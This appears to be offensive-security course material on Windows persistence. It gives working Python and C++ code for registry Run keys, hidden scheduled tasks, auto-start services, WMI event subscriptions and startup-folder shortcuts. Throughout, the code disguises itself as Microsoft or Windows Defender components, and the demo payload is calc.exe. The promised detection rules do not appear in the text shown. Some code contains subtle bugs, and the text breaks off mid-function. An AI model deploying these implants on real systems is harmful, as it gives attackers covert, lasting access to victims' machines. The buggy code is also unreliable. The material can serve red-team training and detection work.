g3tsyst3m // course material

WINDOWS
PERSISTENCE
METHODS

// Registry keys, scheduled tasks, services, WMI subscriptions, and startup folders — every major persistence vector with working Python and C++ implementations and Elastic detection rules.

Registry Run Keys Scheduled Tasks Windows Services WMI Subscriptions Startup Folders Detection Engineering MITRE TA0003
TACTIC TA0003 — Persistence
T1547.001 Registry Run Keys / Startup Folder
T1053.005 Scheduled Task/Job
T1543.003 Windows Service
T1546.003 WMI Event Subscription
T1547.001 Startup Folder
T1574.002 DLL Side-Loading
01
Module One

REGISTRY RUN KEYS

// The oldest trick in the book — still works on every Windows version
T1547.001 Detection: High Stealth: Low Reliability: High

Registry Run Keys cause Windows to execute a specified command every time a user logs in (HKCU) or any user logs in (HKLM). They've existed since Windows 95. Every modern endpoint detection product monitors them — but they remain useful for low-sophistication engagements, persistence testing, and understanding the baseline that more advanced techniques try to evade.

The four main Run key locations differ in scope and timing. Run fires on every logon, RunOnce fires once then deletes itself. HKCU requires no elevation; HKLM requires administrator.

! HKCU keys do not require elevation — any standard user can write to their own hive. HKLM keys require administrator. RunOnce entries are automatically deleted by Windows after execution (self-cleaning — useful for avoiding forensic artifacts).
Registry Key locations — all four variants
# Per-user, every logon (no elevation required) HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run # Per-user, once only (auto-deleted after execution) HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce # All users, every logon (elevation required) HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run # All users, once only (elevation required) HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce # 32-bit processes on 64-bit Windows (WOW64 redirect) HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
Python run_key_persist.py
import winreg import os import sys def install_run_key( value_name: str, payload_path: str, hive: int = winreg.HKEY_CURRENT_USER, run_once: bool = False ) -> bool: """ Write a Run (or RunOnce) registry key for persistence. Args: value_name: Registry value name (e.g. 'WindowsUpdate') payload_path: Full path to the executable or command hive: winreg.HKEY_CURRENT_USER or HKEY_LOCAL_MACHINE run_once: If True, use RunOnce (auto-deletes after execution) Returns: True on success, False on failure """ subkey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\" subkey += "RunOnce" if run_once else "Run" try: key = winreg.OpenKey( hive, subkey, 0, winreg.KEY_SET_VALUE ) winreg.SetValueEx( key, value_name, 0, winreg.REG_SZ, payload_path ) winreg.CloseKey(key) print(f"[+] Persistence installed: {subkey}\\{value_name}") print(f" Payload: {payload_path}") return True except PermissionError: print(f"[-] Access denied — HKLM requires administrator") return False except Exception as e: print(f"[-] Failed: {e}") return False def remove_run_key(value_name: str, hive: int = winreg.HKEY_CURRENT_USER, run_once: bool = False) -> bool: """Remove a Run/RunOnce key by value name.""" subkey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\" subkey += "RunOnce" if run_once else "Run" try: key = winreg.OpenKey(hive, subkey, 0, winreg.KEY_SET_VALUE) winreg.DeleteValue(key, value_name) winreg.CloseKey(key) print(f"[+] Removed: {subkey}\\{value_name}") return True except Exception as e: print(f"[-] Remove failed: {e}") return False def enumerate_run_keys(): """Enumerate all Run key entries across both hives — useful for detection.""" locations = [ (winreg.HKEY_CURRENT_USER, "HKCU"), (winreg.HKEY_LOCAL_MACHINE, "HKLM"), ] subkeys = ["Run", "RunOnce"] for hive, hive_name in locations: for sk in subkeys: path = f"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\{sk}" try: key = winreg.OpenKey(hive, path, 0, winreg.KEY_READ) i = 0 while True: try: name, data, _ = winreg.EnumValue(key, i) print(f" [{hive_name}\\{sk}] {name} = {data}") i += 1 except OSError: break winreg.CloseKey(key) except PermissionError: print(f" [{hive_name}\\{sk}] — access denied") # ── Usage ───────────────────────────────────────────────────── if __name__ == "__main__": payload = r"C:\Windows\System32\cmd.exe /c calc.exe" # Install under HKCU (no elevation needed) install_run_key("WindowsDefenderService", payload) # Enumerate all current run keys print("\n[*] Current Run key entries:") enumerate_run_keys() # Cleanup remove_run_key("WindowsDefenderService")
C++ run_key_persist.cpp
// run_key_persist.cpp — g3tsyst3m // Compile: x86_64-w64-mingw32-g++ -o run_key.exe run_key_persist.cpp -ladvapi32 #include <windows.h> #include <iostream> #include <string> bool InstallRunKey( const std::wstring& valueName, const std::wstring& payloadPath, HKEY hive = HKEY_CURRENT_USER, bool runOnce = false ) { std::wstring subkey = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\"; subkey += runOnce ? L"RunOnce" : L"Run"; HKEY hKey; LONG result = RegOpenKeyExW( hive, subkey.c_str(), 0, KEY_SET_VALUE, &hKey ); if (result != ERROR_SUCCESS) { std::wcerr << L"[-] RegOpenKeyEx failed: " << result << std::endl; return false; } result = RegSetValueExW( hKey, valueName.c_str(), 0, REG_SZ, (const BYTE*)payloadPath.c_str(), (DWORD)((payloadPath.size() + 1) * sizeof(wchar_t)) ); RegCloseKey(hKey); if (result == ERROR_SUCCESS) { std::wcout << L"[+] Run key installed: " << subkey << L"\\" << valueName << std::endl; std::wcout << L" Payload: " << payloadPath << std::endl; return true; } std::wcerr << L"[-] RegSetValueEx failed: " << result << std::endl; return false; } bool RemoveRunKey(const std::wstring& valueName, HKEY hive = HKEY_CURRENT_USER, bool runOnce = false) { std::wstring subkey = L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\"; subkey += runOnce ? L"RunOnce" : L"Run"; HKEY hKey; if (RegOpenKeyExW(hive, subkey.c_str(), 0, KEY_SET_VALUE, &hKey) != ERROR_SUCCESS) return false; LONG res = RegDeleteValueW(hKey, valueName.c_str()); RegCloseKey(hKey); return res == ERROR_SUCCESS; } int main() { const std::wstring payload = LR"(C:\Windows\System32\cmd.exe /c calc.exe)"; InstallRunKey(L"WindowsDefenderService", payload); RemoveRunKey(L"WindowsDefenderService"); return 0; }

02
Module Two

SCHEDULED TASKS

// Built-in task scheduler — flexible triggers, SYSTEM execution, deep hiding options
T1053.005 Detection: Medium Stealth: Medium Reliability: High

The Windows Task Scheduler (schtasks / Task Scheduler COM API) allows any user to create tasks that execute on a flexible set of triggers: system startup, user logon, time intervals, event log entries, idle state, and more. Tasks can run as SYSTEM (with administrator access), providing privilege without an open service.

Unlike Run keys, scheduled tasks survive across reboots regardless of whether a user logs in — a task triggered on ONSTART fires even on a headless server. Tasks are stored as XML files in C:\Windows\System32\Tasks\ and as binary blobs in the registry at HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks.

Python schtask_persist.py
import subprocess import os import xml.etree.ElementTree as ET from datetime import datetime def create_task_schtasks( task_name: str, command: str, trigger: str = "ONLOGON", run_as: str = "", hidden: bool = True ) -> bool: """ Create a scheduled task using schtasks.exe (command-line wrapper). trigger options: ONLOGON, ONSTART, DAILY, MINUTE (with /MO interval) run_as: "" = current user, "SYSTEM" = NT AUTHORITY\\SYSTEM (needs admin) hidden: /F forces creation without prompting — /RL HIGHEST sets highest privilege """ cmd = [ "schtasks", "/create", "/tn", task_name, "/tr", command, "/sc", trigger, "/F" # force overwrite if exists ] if run_as == "SYSTEM": cmd.extend(["/ru", "SYSTEM"]) elif run_as: cmd.extend(["/ru", run_as]) if hidden: cmd.extend(["/RL", "HIGHEST"]) # highest available privileges try: result = subprocess.run(cmd, capture_output=True, text=True) if result.returncode == 0: print(f"[+] Task created: {task_name}") print(f" Trigger: {trigger}, Command: {command}") return True else: print(f"[-] schtasks failed: {result.stderr.strip()}") return False except Exception as e: print(f"[-] {e}") return False def create_task_xml( task_name: str, command: str, arguments: str = "", trigger_type: str = "logon" ) -> bool: """ Create a scheduled task by writing an XML definition and importing it. XML approach gives finer control — hidden task, custom description, etc. trigger_type: 'logon', 'boot', 'interval' (every 10 minutes) """ # Build the task XML — mimics legitimate Windows task format now = datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%S") interval_trigger = """ <CalendarTrigger> <Repetition> <Interval>PT10M</Interval> <StopAtDurationEnd>false</StopAtDurationEnd> </Repetition> <StartBoundary>{now}</StartBoundary> <Enabled>true</Enabled> <ScheduleByDay><DaysInterval>1</DaysInterval></ScheduleByDay> </CalendarTrigger>""".format(now=now) logon_trigger = """ <LogonTrigger><Enabled>true</Enabled></LogonTrigger>""" boot_trigger = """ <BootTrigger><Enabled>true</Enabled></BootTrigger>""" trigger_map = { "logon": logon_trigger, "boot": boot_trigger, "interval": interval_trigger } trigger_xml = trigger_map.get(trigger_type, logon_trigger) task_xml = f"""<?xml version="1.0" encoding="UTF-16"?> <Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <RegistrationInfo> <Date>{now}</Date> <Description>Microsoft Windows Update Service</Description> <Author>Microsoft Corporation</Author> </RegistrationInfo> <Triggers>{trigger_xml} </Triggers> <Principals> <Principal id="Author"> <LogonType>InteractiveToken</LogonType> <RunLevel>HighestAvailable</RunLevel> </Principal> </Principals> <Settings> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <ExecutionTimeLimit>PT0S</ExecutionTimeLimit> <Hidden>true</Hidden> <Priority>7</Priority> </Settings> <Actions Context="Author"> <Exec> <Command>{command}</Command> <Arguments>{arguments}</Arguments> </Exec> </Actions> </Task>""" xml_file = os.path.join(os.environ.get("TEMP", "C:\\Temp"), "task_def.xml") with open(xml_file, "w", encoding="utf-16") as f: f.write(task_xml) result = subprocess.run( ["schtasks", "/create", "/tn", task_name, "/xml", xml_file, "/F"], capture_output=True, text=True ) os.remove(xml_file) # cleanup the temp XML if result.returncode == 0: print(f"[+] XML task created: {task_name} (hidden={True})") return True print(f"[-] XML import failed: {result.stderr.strip()}") return False def delete_task(task_name: str) -> bool: result = subprocess.run( ["schtasks", "/delete", "/tn", task_name, "/F"], capture_output=True, text=True ) return result.returncode == 0 # ── Usage ───────────────────────────────────────────────────── if __name__ == "__main__": # Simple command-line approach create_task_schtasks( task_name=r"\Microsoft\Windows\WindowsUpdate\AutoUpdate", command=r"C:\Windows\System32\cmd.exe", trigger="ONLOGON", run_as="" ) # XML approach — hidden task, interval trigger create_task_xml( task_name=r"\Microsoft\Windows\Maintenance\WinSAT", command=r"C:\Windows\System32\cmd.exe", arguments=r"/c calc.exe", trigger_type="boot" )
C++ schtask_persist.cpp — Task Scheduler COM API
// schtask_persist.cpp — g3tsyst3m // Uses Task Scheduler COM API (taskschd.dll) directly — no schtasks.exe subprocess // Compile: x86_64-w64-mingw32-g++ -o schtask.exe schtask_persist.cpp -lole32 -loleaut32 -ltaskschd #include <windows.h> #include <taskschd.h> #include <comdef.h> #include <iostream> #include <string> bool CreatePersistentTask( const std::wstring& taskName, const std::wstring& execPath, const std::wstring& args = L"" ) { CoInitializeEx(NULL, COINIT_MULTITHREADED); ITaskService* pService = nullptr; CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService); pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t()); ITaskFolder* pRootFolder = nullptr; pService->GetFolder(_bstr_t(L"\\"), &pRootFolder); // Delete existing task with same name if present pRootFolder->DeleteTask(_bstr_t(taskName.c_str()), 0); ITaskDefinition* pTask = nullptr; pService->NewTask(0, &pTask); // ── Registration info — blend with legitimate tasks IRegistrationInfo* pRegInfo = nullptr; pTask->get_RegistrationInfo(&pRegInfo); pRegInfo->put_Author(_bstr_t(L"Microsoft Corporation")); pRegInfo->put_Description(_bstr_t(L"Keeps Windows up to date")); pRegInfo->Release(); // ── Principal — run at highest privilege for current user IPrincipal* pPrincipal = nullptr; pTask->get_Principal(&pPrincipal); pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN); pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST); pPrincipal->Release(); // ── Settings — hidden, no battery restrictions ITaskSettings* pSettings = nullptr; pTask->get_Settings(&pSettings); pSettings->put_Hidden(VARIANT_TRUE); pSettings->put_DisallowStartIfOnBatteries(VARIANT_FALSE); pSettings->put_StopIfGoingOnBatteries(VARIANT_FALSE); pSettings->put_ExecutionTimeLimit(_bstr_t(L"PT0S")); // no time limit pSettings->Release(); // ── Trigger — fire at logon ITriggerCollection* pTriggers = nullptr; pTask->get_Triggers(&pTriggers); ITrigger* pTrigger = nullptr; pTriggers->Create(TASK_TRIGGER_LOGON, &pTrigger); pTriggers->Release(); pTrigger->Release(); // ── Action — execute our payload IActionCollection* pActions = nullptr; pTask->get_Actions(&pActions); IAction* pAction = nullptr; pActions->Create(TASK_ACTION_EXEC, &pAction); IExecAction* pExecAction = nullptr; pAction->QueryInterface(IID_IExecAction, (void**)&pExecAction); pExecAction->put_Path(_bstr_t(execPath.c_str())); pExecAction->put_Arguments(_bstr_t(args.c_str())); pExecAction->Release(); pAction->Release(); pActions->Release(); // ── Register the task IRegisteredTask* pRegisteredTask = nullptr; HRESULT hr = pRootFolder->RegisterTaskDefinition( _bstr_t(taskName.c_str()), pTask, TASK_CREATE_OR_UPDATE, _variant_t(), _variant_t(), TASK_LOGON_INTERACTIVE_TOKEN, _variant_t(L""), &pRegisteredTask ); pTask->Release(); pRootFolder->Release(); pService->Release(); CoUninitialize(); if (SUCCEEDED(hr)) { std::wcout << L"[+] Task registered: " << taskName << std::endl; pRegisteredTask->Release(); return true; } std::wcerr << L"[-] Task registration failed: 0x" << std::hex << hr << std::endl; return false; } int main() { CreatePersistentTask( LR"(\Microsoft\Windows\WindowsUpdate\Automatic)", LR"(C:\Windows\System32\cmd.exe)", L"/c calc.exe" ); return 0; }

03
Module Three

WINDOWS SERVICES

// Persistent, auto-restart, SYSTEM context — the gold standard for server persistence
T1543.003 Detection: High Stealth: Medium Reliability: Very High

Windows Services run as long-lived background processes managed by the Service Control Manager (SCM). They start automatically at boot, run as SYSTEM by default, and automatically restart on failure — all configurable through the service registry key at HKLM\SYSTEM\CurrentControlSet\Services\[ServiceName]. Creating a service requires administrator.

A service can be backed by a standalone executable (ImagePath) or by a DLL loaded into svchost.exe (ServiceDll in the service's Parameters key). The svchost-DLL approach is significantly stealthier because the malicious code runs inside a legitimate Windows process.

Python service_persist.py
import subprocess import winreg import ctypes from ctypes import wintypes # ── Win32 service control constants ─────────────────────────── SC_MANAGER_CREATE_SERVICE = 0x0002 SERVICE_WIN32_OWN_PROCESS = 0x00000010 SERVICE_AUTO_START = 0x00000002 SERVICE_ERROR_NORMAL = 0x00000001 SERVICE_ALL_ACCESS = 0xF01FF DELETE = 0x00010000 advapi32 = ctypes.WinDLL("advapi32", use_last_error=True) def create_service( service_name: str, display_name: str, binary_path: str, description: str = "Windows System Service" ) -> bool: """ Create a Windows service using the Win32 SCM API via ctypes. binary_path: full path to the service executable Requires administrator. """ # Open Service Control Manager hSCM = advapi32.OpenSCManagerW(None, None, SC_MANAGER_CREATE_SERVICE) if not hSCM: print(f"[-] OpenSCManager failed: {ctypes.get_last_error()}") return False # Create the service hService = advapi32.CreateServiceW( hSCM, service_name, # ServiceName display_name, # DisplayName SERVICE_ALL_ACCESS, # DesiredAccess SERVICE_WIN32_OWN_PROCESS, # ServiceType SERVICE_AUTO_START, # StartType — auto on boot SERVICE_ERROR_NORMAL, # ErrorControl binary_path, # BinaryPathName None, # LoadOrderGroup None, # TagId None, # Dependencies None, # ServiceStartName (None = LocalSystem) None # Password ) if not hSCM: print(f"[-] CreateService failed: {ctypes.get_last_error()}") advapi32.CloseServiceHandle(hSCM) return False # Set description via registry (simpler than ChangeServiceConfig2) _set_service_description(service_name, description) advapi32.CloseServiceHandle(hService) advapi32.CloseServiceHandle(hSCM) print(f"[+] Service created: {service_name}") print(f" Binary: {binary_path}") return True def _set_service_description(service_name: str, desc: str): """Write Description value to the service registry key.""" path = f"SYSTEM\\CurrentControlSet\\Services\\{service_name}" try: key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, path, 0, winreg.KEY_SET_VALUE) winreg.SetValueEx(key, "Description", 0, winreg.REG_SZ, desc) winreg.CloseKey(key) except Exception: pass def set_failure_actions(service_name: str): """Configure auto-restart on failure (3 attempts, 1-minute delay).""" path = f"SYSTEM\\CurrentControlSet\\Services\\{service_name}" try: key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, path, 0, winreg.KEY_SET_VALUE) # FailureActions is a binary blob — sc.exe handles this more easily subprocess.run(["sc", "failure", service_name, "reset=", "86400", "actions=", "restart/60000/restart/60000/restart/60000"], capture_output=True) winreg.CloseKey(key) print(f"[+] Failure actions set — service auto-restarts on crash") except Exception as e: print(f"[-] set_failure_actions: {e}") def delete_service(service_name: str) -> bool: result = subprocess.run( ["sc", "delete", service_name], capture_output=True, text=True ) ok = result.returncode == 0 print(f"[{'+'if ok else'-'}] Service deleted: {service_name}") return ok # ── Usage ───────────────────────────────────────────────────── if __name__ == "__main__": create_service( service_name="WinDefSvc", display_name="Windows Defender Supplemental Service", binary_path=r"C:\Windows\System32\cmd.exe /c calc.exe", description="Provides extended protection services for Windows." ) set_failure_actions("WinDefSvc") # delete_service("WinDefSvc")
C++ service_persist.cpp — SCM API + svchost DLL approach
// service_persist.cpp — g3tsyst3m // Two approaches: standalone service EXE + svchost-hosted DLL // Compile (service EXE): x86_64-w64-mingw32-g++ -o svc.exe service_persist.cpp -ladvapi32 #include <windows.h> #include <iostream> #include <string> // ═══ Approach A — Standalone service executable ═══════════════ bool CreatePersistentService( const std::wstring& svcName, const std::wstring& displayName, const std::wstring& binaryPath ) { SC_HANDLE hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CREATE_SERVICE); if (!hSCM) { std::wcerr << L"[-] OpenSCManager failed: " << GetLastError() << std::endl; return false; } SC_HANDLE hSvc = CreateServiceW( hSCM, svcName.c_str(), // ServiceName displayName.c_str(), // DisplayName SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, // start on boot SERVICE_ERROR_NORMAL, binaryPath.c_str(), // full path to service EXE NULL, NULL, NULL, NULL, NULL // NULL = LocalSystem (SYSTEM) ); if (!hSvc) { std::wcerr << L"[-] CreateService failed: " << GetLastError() << std::endl; CloseServiceHandle(hSCM); return false; } // Configure auto-restart on failure SC_ACTION actions[3] = { {SC_ACTION_RESTART, 60000}, // restart after 1 minute {SC_ACTION_RESTART, 60000}, {SC_ACTION_RESTART, 60000} }; SERVICE_FAILURE_ACTIONSW sfa = {86400, NULL, NULL, 3, actions}; ChangeServiceConfig2W(hSvc, SERVICE_CONFIG_FAILURE_ACTIONS, &sfa); std::wcout << L"[+] Service installed: " << svcName << std::endl; CloseServiceHandle(hSvc); CloseServiceHandle(hSCM); return true; } // ═══ Approach B — svchost-hosted DLL (stealthier) ═════════════ // Register a service that loads our DLL into svchost.exe. // The DLL must export ServiceMain() and comply with the service API. bool RegisterSvchostService( const std::wstring& svcName, const std::wstring& dllPath, const std::wstring& svchostGroup = L"netsvcs" ) { // Step 1: Create the service entry pointing to svchost std::wstring svchostPath = LR"(C:\Windows\System32\svchost.exe -k )" + svchostGroup; CreatePersistentService(svcName, svcName + L" Service", svchostPath); // Step 2: Add ServiceDll under the service's Parameters subkey std::wstring paramPath = L"SYSTEM\\CurrentControlSet\\Services\\" + svcName + L"\\Parameters"; HKEY hKey; if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, paramPath.c_str(), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, NULL, &hKey, NULL) != ERROR_SUCCESS) { return false; } RegSetValueExW(hKey, L"ServiceDll", 0, REG_EXPAND_SZ, (BYTE*)dllPath.c_str(), (DWORD)((dllPath.size() + 1) * sizeof(wchar_t))); RegSetValueExW(hKey, L"ServiceDllUnloadOnStop", 0, REG_DWORD, (BYTE*)&(DWORD){1}, sizeof(DWORD)); RegCloseKey(hKey); // Step 3: Add our service to the svchost group's membership list // (so svchost -k netsvcs knows to load it) std::wstring groupPath = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost"; HKEY hSvchostKey; if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, groupPath.c_str(), 0, KEY_QUERY_VALUE | KEY_SET_VALUE, &hSvchostKey) == ERROR_SUCCESS) { // Read current group members, append our service name, write back // (Full implementation requires reading multi-string REG_MULTI_SZ — omitted for brevity) RegCloseKey(hSvchostKey); } std::wcout << L"[+] svchost service registered: " << svcName << std::endl; std::wcout << L" ServiceDll: " << dllPath << std::endl; return true; } int main() { // Approach A — standalone EXE service CreatePersistentService( L"WinDefSvc", L"Windows Defender Supplemental", LR"(C:\Windows\System32\cmd.exe /c calc.exe)" ); // Approach B — svchost-hosted DLL (comment out A first) // RegisterSvchostService(L"WinNetSvc", LR"(C:\path\to\payload.dll)"); return 0; }

04
Module Four

WMI EVENT SUBSCRIPTIONS

// Fileless persistence — survives disk wipes that don't touch the WMI repository
T1546.003 Detection: Lower Stealth: High Reliability: Medium

Windows Management Instrumentation (WMI) allows creating event subscriptions that fire a command when specific system events occur. The subscription data is stored in the WMI repository (C:\Windows\System32\wbem\Repository\) — not in the registry and not as files on disk in any obvious location. This makes WMI persistence survive disk cleanup tools that focus on registry and startup locations.

A WMI permanent subscription requires three components: a Filter (what event to watch for), a Consumer (what to execute when it fires), and a Binding that ties them together. The most commonly abused consumer is CommandLineEventConsumer which runs an arbitrary command.

Python wmi_persist.py — WMI permanent event subscription via Python wmi module
import subprocess import sys def create_wmi_subscription( filter_name: str, consumer_name: str, command: str, trigger_event: str = "__InstanceModificationEvent", interval_seconds: int = 60 ) -> bool: """ Create a WMI permanent event subscription using PowerShell. Three-part chain: EventFilter → EventConsumer → FilterToConsumerBinding trigger_event options: '__InstanceModificationEvent' with Win32_LocalTime — fires every N seconds '__InstanceCreationEvent' with Win32_Process — fires on new process creation '__InstanceDeletionEvent' with Win32_Process — fires on process termination """ # Build PowerShell commands for each component ps_filter = f""" $filter = Set-WmiInstance -Namespace 'root\\subscription' -Class __EventFilter -Arguments @{{ Name = '{filter_name}'; EventNamespace = 'root\\cimv2'; QueryLanguage = 'WQL'; Query = "SELECT * FROM {trigger_event} WITHIN {interval_seconds} WHERE TargetInstance ISA 'Win32_LocalTime'"; }} """ ps_consumer = f""" $consumer = Set-WmiInstance -Namespace 'root\\subscription' -Class CommandLineEventConsumer -Arguments @{{ Name = '{consumer_name}'; CommandLineTemplate = '{command}'; }} """ ps_binding = f""" Set-WmiInstance -Namespace 'root\\subscription' -Class __FilterToConsumerBinding -Arguments @{{ Filter = $filter; Consumer = $consumer; }} """ full_ps = ps_filter + ps_consumer + ps_binding try: result = subprocess.run( ["powershell", "-NonInteractive", "-Command", full_ps], capture_output=True, text=True ) if result.returncode == 0: print(f"[+] WMI subscription created:") print(f" Filter: {filter_name}") print(f" Consumer: {consumer_name} → {command}") print(f" Trigger: every {interval_seconds}s") return True else: print(f"[-] WMI subscription failed:\n{result.stderr}") return False except Exception as e: print(f"[-] {e}") return False def create_process_trigger_subscription( filter_name: str, consumer_name: str, command: str, watch_process: str = "notepad.exe" ) -> bool: """ Fire the command whenever a specific process is created. Useful for context-aware persistence — only runs when a target app opens. """ ps = f""" $filter = Set-WmiInstance -Namespace 'root\\subscription' -Class __EventFilter -Arguments @{{ Name = '{filter_name}'; EventNamespace = 'root\\cimv2'; QueryLanguage = 'WQL'; Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = '{watch_process}'"; }} $consumer = Set-WmiInstance -Namespace 'root\\subscription' -Class CommandLineEventConsumer -Arguments @{{ Name = '{consumer_name}'; CommandLineTemplate = '{command}'; }} Set-WmiInstance -Namespace 'root\\subscription' -Class __FilterToConsumerBinding -Arguments @{{ Filter = $filter; Consumer = $consumer; }} """ result = subprocess.run( ["powershell", "-NonInteractive", "-Command", ps], capture_output=True, text=True ) ok = result.returncode == 0 print(f"[{'+'if ok else'-'}] Process-trigger WMI subscription {'created'if ok else 'failed'}") return ok def remove_wmi_subscription(filter_name: str, consumer_name: str): """Remove all three WMI subscription components by name.""" ps = f""" Get-WmiObject -Namespace 'root\\subscription' -Class __FilterToConsumerBinding | Where-Object {{$_.Filter -like '*{filter_name}*'}} | Remove-WmiObject Get-WmiObject -Namespace 'root\\subscription' -Class __EventFilter | Where-Object {{$_.Name -eq '{filter_name}'}} | Remove-WmiObject Get-WmiObject -Namespace 'root\\subscription' -Class CommandLineEventConsumer | Where-Object {{$_.Name -eq '{consumer_name}'}} | Remove-WmiObject Write-Host '[+] WMI subscription removed' """ subprocess.run(["powershell", "-NonInteractive", "-Command", ps]) # ── Usage ───────────────────────────────────────────────────── if __name__ == "__main__": # Time-based: fire every 60 seconds create_wmi_subscription( filter_name="WindowsDefFilter", consumer_name="WindowsDefConsumer", command=r"cmd.exe /c calc.exe", interval_seconds=60 ) # Process-based: fire when notepad opens create_process_trigger_subscription( filter_name="NotepadFilter", consumer_name="NotepadConsumer", command=r"cmd.exe /c calc.exe", watch_process="notepad.exe" )

05
Module Five

STARTUP FOLDERS

// Simplest possible technique — drop a file, get execution on next logon
T1547.001 Detection: Very High Stealth: Low Reliability: High

Windows automatically executes any shortcut (.lnk), script, or executable placed in certain startup folder locations at user logon. This is the most obvious persistence technique and is immediately visible to defenders — but also the most straightforward to implement and the most commonly used in phishing-delivered malware due to its simplicity and reliability.

The user-specific startup folder requires no elevation. The all-users folder requires administrator. The most effective approach is dropping a .lnk shortcut pointing to the payload rather than the payload itself — this keeps the executable in a less-scrutinized location and makes the startup folder entry look more like a legitimate program shortcut.

Python startup_persist.py — LNK creation + startup folder placement
import os import shutil import winreg from pathlib import Path # ── Startup folder paths ─────────────────────────────────────── def get_startup_folders() -> dict: """Return all startup folder paths — user and all-users.""" appdata = os.environ.get("APPDATA", "") programdata = os.environ.get("ProgramData", r"C:\ProgramData") return { "user": Path(appdata) / "Microsoft\\Windows\\Start Menu\\Programs\\Startup", "allusers": Path(programdata) / "Microsoft\\Windows\\Start Menu\\Programs\\Startup", } def create_lnk_shortcut(target: str, lnk_path: str, arguments: str = "", description: str = "") -> bool: """ Create a .lnk shortcut using PowerShell's WScript.Shell COM object. This avoids needing the win32com dependency. target: full path to the executable lnk_path: where to save the .lnk file (include .lnk extension) arguments: command-line arguments passed to target description: tooltip text for the shortcut """ ps = f""" $ws = New-Object -ComObject WScript.Shell $sc = $ws.CreateShortcut('{lnk_path}') $sc.TargetPath = '{target}' $sc.Arguments = '{arguments}' $sc.Description = '{description if description else "Windows System Component"}' $sc.WindowStyle = 7 # 7 = minimized (hidden window) $sc.WorkingDirectory = Split-Path '{target}' $sc.Save() """ import subprocess result = subprocess.run( ["powershell", "-NonInteractive", "-Command", ps], capture_output=True, text=True ) ok = result.returncode == 0 if ok: print(f"[+] LNK created: {lnk_path}") print(f" Target: {target} {arguments}") else: print(f"[-] LNK creation failed: {result.stderr.strip()}") return ok def place_startup_lnk( payload_path: str, shortcut_name: str = "WindowsUpdate", arguments: str = "", use_allusers: bool = False ) -> bool: """ Drop a .lnk shortcut into the startup folder. use_allusers: True = all users startup folder (needs admin) """ folders = get_startup_folders() folder = folders["allusers"] if use_allusers else folders["user"] if not folder.exists(): folder.mkdir(parents=True, exist_ok=True) lnk_path = str(folder / f"{shortcut_name}.lnk") return create_lnk_shortcut(payload_path, lnk_path, arguments) def copy_payload_to_startup(payload_path: str, dest_name: str = "", use_allusers: bool = False) -> bool: """ Directly copy an executable into the startup folder. Less subtle than a shortcut but simpler. dest_name renames the file. """ folders = get_startup_folders() folder = folders["allusers"] if use_allusers else folders["user"] filename = dest_name or os.path.basename(payload_path) dest = folder / filename try: shutil.copy2(payload_path, dest) print(f"[+] Payload placed: {dest}") return True except Exception as e: print(f"[-] Copy failed: {e}") return False def enumerate_startup_items(): """List all files in both startup folders.""" folders = get_startup_folders() for scope, path in folders.items(): print(f"\n[{scope}] {path}") if path.exists(): for f in path.iterdir(): print(f" {f.name}") else: print(" (folder does not exist)") def remove_startup_item(shortcut_name: str, use_allusers: bool = False): folders = get_startup_folders() folder = folders["allusers"] if use_allusers else folders["user"] for ext in [".lnk", ".exe", ".bat", ".vbs"]: target = folder / (shortcut_name + ext) if target.exists(): target.unlink() print(f"[+] Removed: {target}") return print(f"[-] Not found: {shortcut_name}") # ── Usage ───────────────────────────────────────────────────── if __name__ == "__main__": enumerate_startup_items() place_startup_lnk( payload_path=r"C:\Windows\System32\cmd.exe", shortcut_name="Windows Update Service", arguments=r"/c calc.exe" )
C++ startup_persist.cpp — LNK creation via IShellLink COM
// startup_persist.cpp — g3tsyst3m // Creates a .lnk shortcut in the startup folder using IShellLink COM API // Compile: x86_64-w64-mingw32-g++ -o startup.exe startup_persist.cpp -lole32 -lshell32 -luuid #include <windows.h> #include <shlobj.h> #include <shobjidl.h> #include <objbase.h> #include <iostream> #include <string> bool CreateStartupLnk( const std::wstring& targetPath, const std::wstring& arguments, const std::wstring& shortcutName, bool allUsers = false ) { CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); // Resolve the startup folder path KNOWNFOLDERID folderId = allUsers ? FOLDERID_CommonStartup : FOLDERID_Startup; PWSTR startupFolder = nullptr; SHGetKnownFolderPath(folderId, 0, NULL, &startupFolder); std::wstring lnkPath = std::wstring(startupFolder) + L"\\" + shortcutName + L".lnk"; CoTaskMemFree(startupFolder); // Create IShellLink IShellLinkW* pShellLink = nullptr; CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLinkW, (void**)&pShellLink); pShellLink->SetPath(targetPath.c_str()); pShellLink->SetArguments(arguments.c_str()); pShellLink->SetDescription(L"Windows System Component"); 